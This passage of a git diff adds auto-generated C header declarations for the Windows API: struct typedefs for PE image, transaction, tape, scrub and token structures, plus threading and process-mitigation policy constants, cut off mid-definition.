+ +typedef struct _RUNTIME_REPORT_DIGEST_HEADER { + unsigned short ReportType; + unsigned short Reserved; + unsigned char ReportDigest[64]; +} RUNTIME_REPORT_DIGEST_HEADER; + +typedef struct _TRANSACTIONMANAGER_LOGPATH_INFORMATION { + unsigned int LogPathLength; + unsigned short LogPath[1]; +} TRANSACTIONMANAGER_LOGPATH_INFORMATION; + +typedef struct _TRANSACTIONMANAGER_RECOVERY_INFORMATION { + unsigned long long LastRecoveredLsn; +} TRANSACTIONMANAGER_RECOVERY_INFORMATION; + +typedef struct _remoteMETAFILEPICT { + int mm; + int xExt; + int yExt; + void* hMF; +} remoteMETAFILEPICT; + +typedef struct _userHENHMETAFILE { + int fContext; + void* u; +} userHENHMETAFILE; + +typedef struct _PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY; + +typedef struct _ANON_OBJECT_HEADER { + unsigned short Sig1; + unsigned short Sig2; + unsigned short Version; + unsigned short Machine; + unsigned int TimeDateStamp; + void* ClassID; + unsigned int SizeOfData; +} ANON_OBJECT_HEADER; + +typedef struct _POWER_LIMIT_ATTRIBUTES { + void* Type; + unsigned int DomainId; + unsigned int MaxValue; + unsigned int MinValue; + unsigned int MinTimeParameter; + unsigned int MaxTimeParameter; + unsigned int DefaultACValue; + unsigned int DefaultDCValue; + void* Flags; +} POWER_LIMIT_ATTRIBUTES; + +typedef struct _IMAGE_RELOCATION { + void* Anonymous; + unsigned int SymbolTableIndex; + unsigned short Type; +} IMAGE_RELOCATION; + +typedef struct _ANON_OBJECT_HEADER_BIGOBJ { + unsigned short Sig1; + unsigned short Sig2; + unsigned short Version; + unsigned short Machine; + unsigned int TimeDateStamp; + void* ClassID; + unsigned int SizeOfData; + unsigned int Flags; + unsigned int MetaDataSize; + unsigned int MetaDataOffset; + unsigned int NumberOfSections; + unsigned int PointerToSymbolTable; + unsigned int NumberOfSymbols; +} ANON_OBJECT_HEADER_BIGOBJ; + +typedef struct _NON_PAGED_DEBUG_INFO { + unsigned short Signature; + unsigned short Flags; + unsigned int Size; + unsigned short Machine; + unsigned short Characteristics; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int SizeOfImage; + unsigned long long ImageBase; +} NON_PAGED_DEBUG_INFO; + +typedef struct _REDBOOK_DIGITAL_AUDIO_EXTRACTION_INFO { + unsigned int Version; + unsigned int Accurate; + unsigned int Supported; + unsigned int AccurateMask0; +} REDBOOK_DIGITAL_AUDIO_EXTRACTION_INFO; + +typedef struct _IMAGE_DYNAMIC_RELOCATION_TABLE { + unsigned int Version; + unsigned int Size; +} IMAGE_DYNAMIC_RELOCATION_TABLE; + +typedef struct _TRANSACTION_SUPERIOR_ENLISTMENT_INFORMATION { + void* SuperiorEnlistmentPair; +} TRANSACTION_SUPERIOR_ENLISTMENT_INFORMATION; + +typedef struct _TAPE_WMI_OPERATIONS { + unsigned int Method; + unsigned int DataBufferSize; + void* DataBuffer; +} TAPE_WMI_OPERATIONS; + +typedef struct _PROCESS_MITIGATION_IMAGE_LOAD_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_IMAGE_LOAD_POLICY; + +typedef struct _TRANSACTION_ENLISTMENT_PAIR { + void* EnlistmentId; + void* ResourceManagerId; +} TRANSACTION_ENLISTMENT_PAIR; + +typedef struct _TRANSACTION_BASIC_INFORMATION { + void* TransactionId; + unsigned int State; + unsigned int Outcome; +} TRANSACTION_BASIC_INFORMATION; + +typedef struct _KTMOBJECT_CURSOR { + void* LastQuery; + unsigned int ObjectIdCount; + void* ObjectIds[1]; +} KTMOBJECT_CURSOR; + +typedef struct _PROCESSOR_IDLESTATE_INFO { + unsigned int TimeCheck; + unsigned char DemotePercent; + unsigned char PromotePercent; + unsigned char Spare[2]; +} PROCESSOR_IDLESTATE_INFO; + +typedef struct _RESOURCEMANAGER_COMPLETION_INFORMATION { + void* IoCompletionPortHandle; + unsigned long long CompletionKey; +} RESOURCEMANAGER_COMPLETION_INFORMATION; + +typedef struct _TAPE_SET_MEDIA_PARAMETERS { + unsigned int BlockSize; +} TAPE_SET_MEDIA_PARAMETERS; + +typedef struct _SERVERSILO_BASIC_INFORMATION { + unsigned int ServiceSessionId; + void* State; + unsigned int ExitStatus; + BOOL Reserved; + void* ApiSetSchema; + void* HostApiSetSchema; + unsigned int ContainerBuildNumber; + unsigned int HostBuildNumber; +} SERVERSILO_BASIC_INFORMATION; + +typedef struct _DISPATCHER_CONTEXT_NONVOLREG_ARM64 { + unsigned char Buffer[152]; + void* Anonymous; +} DISPATCHER_CONTEXT_NONVOLREG_ARM64; + +typedef struct _IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA { + unsigned int HeaderData; + void* Anonymous; +} IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA; + +typedef struct _IMAGE_HOT_PATCH_BASE { + unsigned int SequenceNumber; + unsigned int Flags; + unsigned int OriginalTimeDateStamp; + unsigned int OriginalCheckSum; + unsigned int CodeIntegrityInfo; + unsigned int CodeIntegritySize; + unsigned int PatchTable; + unsigned int BufferOffset; +} IMAGE_HOT_PATCH_BASE; + +typedef struct _IMAGE_LINENUMBER { + void* Type; + unsigned short Linenumber; +} IMAGE_LINENUMBER; + +typedef struct _SCRUB_DATA_INPUT { + unsigned int Size; + unsigned int Flags; + unsigned int MaximumIos; + unsigned int ObjectId[4]; + unsigned long long StartingByteOffset; + unsigned long long ByteCount; + unsigned int Reserved[36]; + unsigned char ResumeContext[1040]; +} SCRUB_DATA_INPUT; + +typedef struct _SCRUB_PARITY_EXTENT { + long long Offset; + unsigned long long Length; +} SCRUB_PARITY_EXTENT; + +typedef struct _IMAGE_BASE_RELOCATION { + unsigned int VirtualAddress; + unsigned int SizeOfBlock; +} IMAGE_BASE_RELOCATION; + +typedef struct _IMAGE_TLS_DIRECTORY64 { + unsigned long long StartAddressOfRawData; + unsigned long long EndAddressOfRawData; + unsigned long long AddressOfIndex; + unsigned long long AddressOfCallBacks; + unsigned int SizeOfZeroFill; + void* Anonymous; +} IMAGE_TLS_DIRECTORY64; + +typedef struct _TAPE_CREATE_PARTITION { + unsigned int Method; + unsigned int Count; + unsigned int Size; +} TAPE_CREATE_PARTITION; + +typedef struct _RemHENHMETAFILE { + unsigned int cbData; + unsigned char data[1]; +} RemHENHMETAFILE; + +typedef struct _PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY; + +typedef struct _IMAGE_IMPORT_DESCRIPTOR { + void* Anonymous; + unsigned int TimeDateStamp; + unsigned int ForwarderChain; + unsigned int Name; + unsigned int FirstThunk; +} IMAGE_IMPORT_DESCRIPTOR; + +typedef struct _IMAGE_ARCHITECTURE_ENTRY { + unsigned int FixupInstRVA; + unsigned int NewInst; +} IMAGE_ARCHITECTURE_ENTRY; + +typedef struct _userHPALETTE { + int fContext; + void* u; +} userHPALETTE; + +typedef struct _SCRUB_PARITY_EXTENT_DATA { + unsigned short Size; + unsigned short Flags; + unsigned short NumberOfParityExtents; + unsigned short MaximumNumberOfParityExtents; + void* ParityExtents[1]; +} SCRUB_PARITY_EXTENT_DATA; + +typedef struct _SCOPE_TABLE_ARM { + unsigned int Count; + void* ScopeRecord[1]; +} SCOPE_TABLE_ARM; + +typedef struct _IMAGE_AUX_SYMBOL { + void* Sym; + void* File; + void* Section; + void* TokenDef; + void* CRC; +} IMAGE_AUX_SYMBOL; + +typedef struct _IMAGE_HOT_PATCH_MACHINE { + void* Anonymous; +} IMAGE_HOT_PATCH_MACHINE; + +typedef struct _IMAGE_POLICY_ENTRY { + void* Type; + void* PolicyId; + void* u; +} IMAGE_POLICY_ENTRY; + +typedef struct _IMAGE_EXPORT_DIRECTORY { + unsigned int Characteristics; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned int Name; + unsigned int Base; + unsigned int NumberOfFunctions; + unsigned int NumberOfNames; + unsigned int AddressOfFunctions; + unsigned int AddressOfNames; + unsigned int AddressOfNameOrdinals; +} IMAGE_EXPORT_DIRECTORY; + +typedef struct _FILE_STAT_INFORMATION { + long long FileId; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long AllocationSize; + long long EndOfFile; + unsigned int FileAttributes; + unsigned int ReparseTag; + unsigned int NumberOfLinks; + unsigned int EffectiveAccess; +} FILE_STAT_INFORMATION; + +typedef struct _FILE_STAT_LX_INFORMATION { + long long FileId; + long long CreationTime; + long long LastAccessTime; + long long LastWriteTime; + long long ChangeTime; + long long AllocationSize; + long long EndOfFile; + unsigned int FileAttributes; + unsigned int ReparseTag; + unsigned int NumberOfLinks; + unsigned int EffectiveAccess; + unsigned int LxFlags; + unsigned int LxUid; + unsigned int LxGid; + unsigned int LxMode; + unsigned int LxDeviceIdMajor; + unsigned int LxDeviceIdMinor; +} FILE_STAT_LX_INFORMATION; + +typedef struct _RATE_QUOTA_LIMIT { + unsigned int RateData; + void* Anonymous; +} RATE_QUOTA_LIMIT; + +typedef struct _IMAGE_DYNAMIC_RELOCATION32 { + unsigned int Symbol; + unsigned int BaseRelocSize; +} IMAGE_DYNAMIC_RELOCATION32; + +typedef struct _DRIVER_RUNTIME_REPORT { + void* Header; + unsigned short NumberOfDrivers; + void* Flags; + void* DriverEntries[1]; +} DRIVER_RUNTIME_REPORT; + +typedef struct _IMAGE_BOUND_FORWARDER_REF { + unsigned int TimeDateStamp; + unsigned short OffsetModuleName; + unsigned short Reserved; +} IMAGE_BOUND_FORWARDER_REF; + +typedef struct _IMAGE_RESOURCE_DIR_STRING_U { + unsigned short Length; + unsigned short NameString[1]; +} IMAGE_RESOURCE_DIR_STRING_U; + +typedef struct _ATTRIBUTES_AND_SID { + unsigned int Attributes; + unsigned int SidStart; +} ATTRIBUTES_AND_SID; + +typedef struct _IMAGE_TLS_DIRECTORY32 { + unsigned int StartAddressOfRawData; + unsigned int EndAddressOfRawData; + unsigned int AddressOfIndex; + unsigned int AddressOfCallBacks; + unsigned int SizeOfZeroFill; + void* Anonymous; +} IMAGE_TLS_DIRECTORY32; + +typedef struct _IMAGE_FUNCTION_OVERRIDE_HEADER { + unsigned int FuncOverrideSize; +} IMAGE_FUNCTION_OVERRIDE_HEADER; + +typedef struct _IMAGE_EPILOGUE_DYNAMIC_RELOCATION_HEADER { + unsigned int EpilogueCount; + unsigned char EpilogueByteCount; + unsigned char BranchDescriptorElementSize; + unsigned short BranchDescriptorCount; +} IMAGE_EPILOGUE_DYNAMIC_RELOCATION_HEADER; + +typedef struct _PROCESS_MITIGATION_FONT_DISABLE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_FONT_DISABLE_POLICY; + +typedef struct _SILOOBJECT_BASIC_INFORMATION { + unsigned int SiloId; + unsigned int SiloParentId; + unsigned int NumberOfProcesses; + BOOL IsInServerSilo; + unsigned char Reserved[3]; +} SILOOBJECT_BASIC_INFORMATION; + +typedef struct _KERNEL_CET_CONTEXT { + unsigned long long Ssp; + unsigned long long Rip; + unsigned short SegCs; + void* Anonymous; + unsigned short Fill[2]; +} KERNEL_CET_CONTEXT; + +typedef struct _PROCESS_NETWORK_COUNTERS { + unsigned long long BytesIn; + unsigned long long BytesOut; +} PROCESS_NETWORK_COUNTERS; + +typedef struct _userHMETAFILEPICT { + int fContext; + void* u; +} userHMETAFILEPICT; + +typedef struct _IMAGE_DYNAMIC_RELOCATION64_V2 { + unsigned int HeaderSize; + unsigned int FixupInfoSize; + unsigned long long Symbol; + unsigned int SymbolGroup; + unsigned int Flags; +} IMAGE_DYNAMIC_RELOCATION64_V2; + +typedef struct _SHUFFLE_FILE_DATA { + long long StartingOffset; + long long Length; + unsigned int Flags; +} SHUFFLE_FILE_DATA; + +typedef struct _REARRANGE_FILE_DATA32 { + unsigned long long SourceStartingOffset; + unsigned long long TargetOffset; + unsigned int SourceFileHandle; + unsigned int Length; + unsigned int Flags; +} REARRANGE_FILE_DATA32; + +typedef struct _IMAGE_IMPORT_BY_NAME { + unsigned short Hint; + unsigned char Name[1]; +} IMAGE_IMPORT_BY_NAME; + +typedef struct _IMAGE_ALPHA_RUNTIME_FUNCTION_ENTRY { + unsigned int BeginAddress; + unsigned int EndAddress; + unsigned int ExceptionHandler; + unsigned int HandlerData; + unsigned int PrologEndAddress; +} IMAGE_ALPHA_RUNTIME_FUNCTION_ENTRY; + +typedef struct _IMAGE_DEBUG_MISC { + unsigned int DataType; + unsigned int Length; + BOOL Unicode; + unsigned char Reserved[3]; + unsigned char Data[1]; +} IMAGE_DEBUG_MISC; + +typedef struct _TRANSACTIONMANAGER_BASIC_INFORMATION { + void* TmIdentity; + long long VirtualClock; +} TRANSACTIONMANAGER_BASIC_INFORMATION; + +typedef struct _IMAGE_PROLOGUE_DYNAMIC_RELOCATION_HEADER { + unsigned char PrologueByteCount; +} IMAGE_PROLOGUE_DYNAMIC_RELOCATION_HEADER; + +typedef struct _NT_TIB32 { + unsigned int ExceptionList; + unsigned int StackBase; + unsigned int StackLimit; + unsigned int SubSystemTib; + void* Anonymous; + unsigned int ArbitraryUserPointer; + unsigned int Self; +} NT_TIB32; + +typedef struct _SUPPORTED_OS_INFO { + unsigned short MajorVersion; + unsigned short MinorVersion; +} SUPPORTED_OS_INFO; + +typedef struct _IMAGE_RESOURCE_DIRECTORY { + unsigned int Characteristics; + unsigned int TimeDateStamp; + unsigned short MajorVersion; + unsigned short MinorVersion; + unsigned short NumberOfNamedEntries; + unsigned short NumberOfIdEntries; +} IMAGE_RESOURCE_DIRECTORY; + +typedef struct _NETWORK_APP_INSTANCE_EA { + void* AppInstanceID; + unsigned int CsvFlags; +} NETWORK_APP_INSTANCE_EA; + +typedef struct _IMAGE_HOT_PATCH_INFO { + unsigned int Version; + unsigned int Size; + unsigned int SequenceNumber; + unsigned int BaseImageList; + unsigned int BaseImageCount; + unsigned int BufferOffset; + unsigned int ExtraPatchSize; + unsigned int MinSequenceNumber; + unsigned int Flags; +} IMAGE_HOT_PATCH_INFO; + +typedef struct _TOKEN_BNO_ISOLATION_INFORMATION { + void* IsolationPrefix; + BOOL IsolationEnabled; +} TOKEN_BNO_ISOLATION_INFORMATION; + +typedef struct _SCRUB_DATA_OUTPUT { + unsigned int Size; + unsigned int Flags; + unsigned int Status; + unsigned long long ErrorFileOffset; + unsigned long long ErrorLength; + unsigned long long NumberOfBytesRepaired; + unsigned long long NumberOfBytesFailed; + unsigned long long InternalFileReference; + unsigned short ResumeContextLength; + unsigned short ParityExtentDataOffset; + unsigned long long NextStartingByteOffset; + unsigned long long ValidDataLength; + unsigned int Reserved[4]; + unsigned long long NumberOfMetadataBytesProcessed; + unsigned long long NumberOfDataBytesProcessed; + unsigned long long TotalNumberOfMetadataBytesInUse; + unsigned long long TotalNumberOfDataBytesInUse; + unsigned long long DataBytesSkippedDueToNoAllocation; + unsigned long long DataBytesSkippedDueToInvalidRun; + unsigned long long DataBytesSkippedDueToIntegrityStream; + unsigned long long DataBytesSkippedDueToRegionBeingClean; + unsigned long long DataBytesSkippedDueToLockConflict; + unsigned long long DataBytesSkippedDueToNoScrubDataFlag; + unsigned long long DataBytesSkippedDueToNoScrubNonIntegrityStreamFlag; + unsigned long long DataBytesScrubbed; + unsigned char ResumeContext[1040]; +} SCRUB_DATA_OUTPUT; + +typedef struct _HIBERFILE_BUCKET { + unsigned long long MaxPhysicalMemory; + unsigned int PhysicalMemoryPercent[3]; +} HIBERFILE_BUCKET; + +typedef struct _IMAGE_BDD_INFO { + unsigned int Version; + unsigned int BDDSize; +} IMAGE_BDD_INFO; + +typedef struct _TOKEN_LOGGING_INFORMATION { + void* TokenType; + void* TokenElevation; + void* TokenElevationType; + void* ImpersonationLevel; + unsigned int IntegrityLevel; + void* User; + void* TrustLevelSid; + unsigned int SessionId; + unsigned int AppContainerNumber; + void* AuthenticationId; + unsigned int GroupCount; + unsigned int GroupsLength; + void* Groups; +} TOKEN_LOGGING_INFORMATION; + +typedef struct _IMAGE_BDD_DYNAMIC_RELOCATION { + unsigned short Left; + unsigned short Right; + unsigned int Value; +} IMAGE_BDD_DYNAMIC_RELOCATION; + +typedef struct _SE_TOKEN_USER { + void* Anonymous1; + void* Anonymous2; +} SE_TOKEN_USER; + +typedef struct _FILE_NOTIFY_FULL_INFORMATION { + unsigned int NextEntryOffset; + unsigned int Action; + long long CreationTime; + long long LastModificationTime; + long long LastChangeTime; + long long LastAccessTime; + long long AllocatedLength; + long long FileSize; + unsigned int FileAttributes; + void* Anonymous; + long long FileId; + long long ParentFileId; + unsigned short FileNameLength; + unsigned char FileNameFlags; + unsigned char Reserved; + unsigned short FileName[1]; +} FILE_NOTIFY_FULL_INFORMATION; + +typedef struct _IMPORT_OBJECT_HEADER { + unsigned short Sig1; + unsigned short Sig2; + unsigned short Version; + unsigned short Machine; + unsigned int TimeDateStamp; + unsigned int SizeOfData; + void* Anonymous; + unsigned short _bitfield; +} IMPORT_OBJECT_HEADER; + +typedef struct _MAXVERSIONTESTED_INFO { + unsigned long long MaxVersionTested; +} MAXVERSIONTESTED_INFO; + +typedef struct _REARRANGE_FILE_DATA { + unsigned long long SourceStartingOffset; + unsigned long long TargetOffset; + void* SourceFileHandle; + unsigned int Length; + unsigned int Flags; +} REARRANGE_FILE_DATA; + +typedef struct _IMAGE_SYMBOL { + void* N; + unsigned int Value; + short SectionNumber; + unsigned short Type; + unsigned char StorageClass; + unsigned char NumberOfAuxSymbols; +} IMAGE_SYMBOL; + +typedef struct _IMAGE_HOT_PATCH_HASHES { + unsigned char SHA256[32]; + unsigned char SHA1[20]; +} IMAGE_HOT_PATCH_HASHES; + +typedef struct _DRIVER_INFO_ENTRY { + unsigned char InternalName[32]; + unsigned short ImageHashAlgorithm; + unsigned short PublisherThumbprintHashAlgorithm; + unsigned int ImageHashOffset; + unsigned int PublisherThumbprintOffset; + unsigned short LoadCount; + unsigned short OemNameSize; + unsigned int OemNameOffset; + void* Flags; + unsigned short Padding; +} DRIVER_INFO_ENTRY; + +typedef struct _IMAGE_FUNCTION_OVERRIDE_DYNAMIC_RELOCATION { + unsigned int OriginalRva; + unsigned int BDDOffset; + unsigned int RvaSize; + unsigned int BaseRelocSize; +} IMAGE_FUNCTION_OVERRIDE_DYNAMIC_RELOCATION; + +typedef struct _SCOPE_TABLE_ARM64 { + unsigned int Count; + void* ScopeRecord[1]; +} SCOPE_TABLE_ARM64; + +typedef struct _ENLISTMENT_BASIC_INFORMATION { + void* EnlistmentId; + void* TransactionId; + void* ResourceManagerId; +} ENLISTMENT_BASIC_INFORMATION; + +typedef struct _ENLISTMENT_CRM_INFORMATION { + void* CrmTransactionManagerId; + void* CrmResourceManagerId; + void* CrmEnlistmentId; +} ENLISTMENT_CRM_INFORMATION; + +typedef struct _SCOPE_TABLE_AMD64 { + unsigned int Count; + void* ScopeRecord[1]; +} SCOPE_TABLE_AMD64; + +typedef struct _GDI_NONREMOTE { + int fContext; + void* u; +} GDI_NONREMOTE; + +typedef struct _TOKEN_SID_INFORMATION { + void* Sid; +} TOKEN_SID_INFORMATION; + +typedef struct _PROCESS_MITIGATION_USER_POINTER_AUTH_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_USER_POINTER_AUTH_POLICY; + diff --git a/stdlib/win32/threading.h b/stdlib/win32/threading.h new file mode 100644 index 0000000..c8db5c4 --- /dev/null +++ b/stdlib/win32/threading.h @@ -0,0 +1,890 @@ +// Generated by entc-win32gen from `Windows.Win32.System.Threading`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define CONDITION_VARIABLE_LOCKMODE_SHARED 0x1 +#define INIT_ONCE_CHECK_ONLY 0x1 +#define INIT_ONCE_ASYNC 0x2 +#define INIT_ONCE_INIT_FAILED 0x4 +#define INIT_ONCE_CTX_RESERVED_BITS 0x2 +#define ALL_PROCESSOR_GROUPS 0xffff +#define RTL_CRITICAL_SECTION_FLAG_NO_DEBUG_INFO 0x1000000 +#define RTL_CRITICAL_SECTION_FLAG_DYNAMIC_SPIN 0x2000000 +#define RTL_CRITICAL_SECTION_FLAG_STATIC_INIT 0x4000000 +#define RTL_CRITICAL_SECTION_FLAG_RESOURCE_TYPE 0x8000000 +#define RTL_CRITICAL_SECTION_FLAG_FORCE_DEBUG_INFO 0x10000000 +#define RTL_CRITICAL_SECTION_ALL_FLAG_BITS 0xff000000 +#define RTL_CRITICAL_SECTION_DEBUG_FLAG_STATIC_INIT 0x1 +#define FLS_OUT_OF_INDEXES 0xffffffff +#define PRIVATE_NAMESPACE_FLAG_DESTROY 0x1 +#define TLS_OUT_OF_INDEXES 0xffffffff +#define PROC_THREAD_ATTRIBUTE_REPLACE_VALUE 0x1 +#define THREAD_POWER_THROTTLING_CURRENT_VERSION 0x1 +#define THREAD_POWER_THROTTLING_EXECUTION_SPEED 0x1 +#define THREAD_POWER_THROTTLING_VALID_FLAGS 0x1 +#define PME_CURRENT_VERSION 0x1 +#define PME_FAILFAST_ON_COMMIT_FAIL_DISABLE 0x0 +#define PME_FAILFAST_ON_COMMIT_FAIL_ENABLE 0x1 +#define PROCESS_POWER_THROTTLING_CURRENT_VERSION 0x1 +#define PROCESS_POWER_THROTTLING_EXECUTION_SPEED 0x1 +#define PROCESS_POWER_THROTTLING_IGNORE_TIMER_RESOLUTION 0x4 +#define PROCESS_LEAP_SECOND_INFO_FLAG_ENABLE_SIXTY_SECOND 0x1 +#define PROCESS_LEAP_SECOND_INFO_VALID_FLAGS 0x1 +#define CREATE_MUTEX_INITIAL_OWNER 0x1 +#define CREATE_WAITABLE_TIMER_MANUAL_RESET 0x1 +#define CREATE_WAITABLE_TIMER_HIGH_RESOLUTION 0x2 +#define SYNCHRONIZATION_BARRIER_FLAGS_SPIN_ONLY 0x1 +#define SYNCHRONIZATION_BARRIER_FLAGS_BLOCK_ONLY 0x2 +#define SYNCHRONIZATION_BARRIER_FLAGS_NO_DELETE 0x4 +#define INFINITE 0xffffffff +#define PROC_THREAD_ATTRIBUTE_NUMBER 0xffff +#define PROC_THREAD_ATTRIBUTE_THREAD 0x10000 +#define PROC_THREAD_ATTRIBUTE_INPUT 0x20000 +#define PROC_THREAD_ATTRIBUTE_ADDITIVE 0x40000 +#define PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE 0x1 +#define PROCESS_CREATION_MITIGATION_POLICY_DEP_ATL_THUNK_ENABLE 0x2 +#define PROCESS_CREATION_MITIGATION_POLICY_SEHOP_ENABLE 0x4 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_MASK 0x300 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_ON 0x100 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_OFF 0x200 +#define PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_ON_REQ_RELOCS 0x300 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_MASK 0x3000 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_ALWAYS_ON 0x1000 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_ALWAYS_OFF 0x2000 +#define PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_RESERVED 0x3000 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_MASK 0x30000 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_ON 0x10000 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_OFF 0x20000 +#define PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_RESERVED 0x30000 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_MASK 0x300000 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_ALWAYS_ON 0x100000 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_ALWAYS_OFF 0x200000 +#define PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_RESERVED 0x300000 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_MASK 0x3000000 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_ON 0x1000000 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_OFF 0x2000000 +#define PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_RESERVED 0x3000000 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_MASK 0x30000000 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_ON 0x10000000 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_ALWAYS_OFF 0x20000000 +#define PROCESS_CREATION_MITIGATION_POLICY_WIN32K_SYSTEM_CALL_DISABLE_RESERVED 0x30000000 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_MASK 0x300000000 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_ALWAYS_ON 0x100000000 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_ALWAYS_OFF 0x200000000 +#define PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_RESERVED 0x300000000 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_MASK 0x3000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON 0x1000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_OFF 0x2000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON_ALLOW_OPT_OUT 0x3000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_MASK 0x30000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_ON 0x10000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_OFF 0x20000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_EXPORT_SUPPRESSION 0x30000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_MASK 0x300000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x100000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_OFF 0x200000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE 0x300000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_MASK 0x3000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_ALWAYS_ON 0x1000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_FONT_DISABLE_ALWAYS_OFF 0x2000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_AUDIT_NONSYSTEM_FONTS 0x3000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_MASK 0x30000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_DEFER 0x0 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_ON 0x10000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_OFF 0x20000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_RESERVED 0x30000000000000 +#define PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_MASK 0x300000000000000 +#define 